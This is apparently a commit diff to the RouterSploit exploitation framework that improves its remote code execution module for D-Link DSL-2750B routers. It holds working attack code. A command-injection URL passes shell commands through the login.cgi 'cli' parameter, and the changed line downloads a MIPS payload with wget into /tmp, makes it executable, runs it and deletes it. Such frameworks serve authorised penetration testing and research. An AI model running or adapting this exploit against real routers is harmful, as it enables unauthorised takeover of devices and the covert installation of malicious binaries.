Improving exploitation process for dsl_2750b_rce (#421)

routersploit/modules/exploits/routers/dlink/dsl_2750b_rce.py

@@ -26,7 +26,7 @@ class Exploit(HTTPClient):
     def run(self):
         if self.check():
             print_success("Target appears to be vulnerable")
-            shell(self, architecture="mipsbe", method="wget", location="/tmp")
+            shell(self, architecture="mipsbe", method="wget", location="/tmp", exec_binary="chmod 777 {0} && {0} && rm {0}")
 
     def execute(self, cmd):
         path = "/login.cgi?cli=multilingual show';{}'$".format(cmd)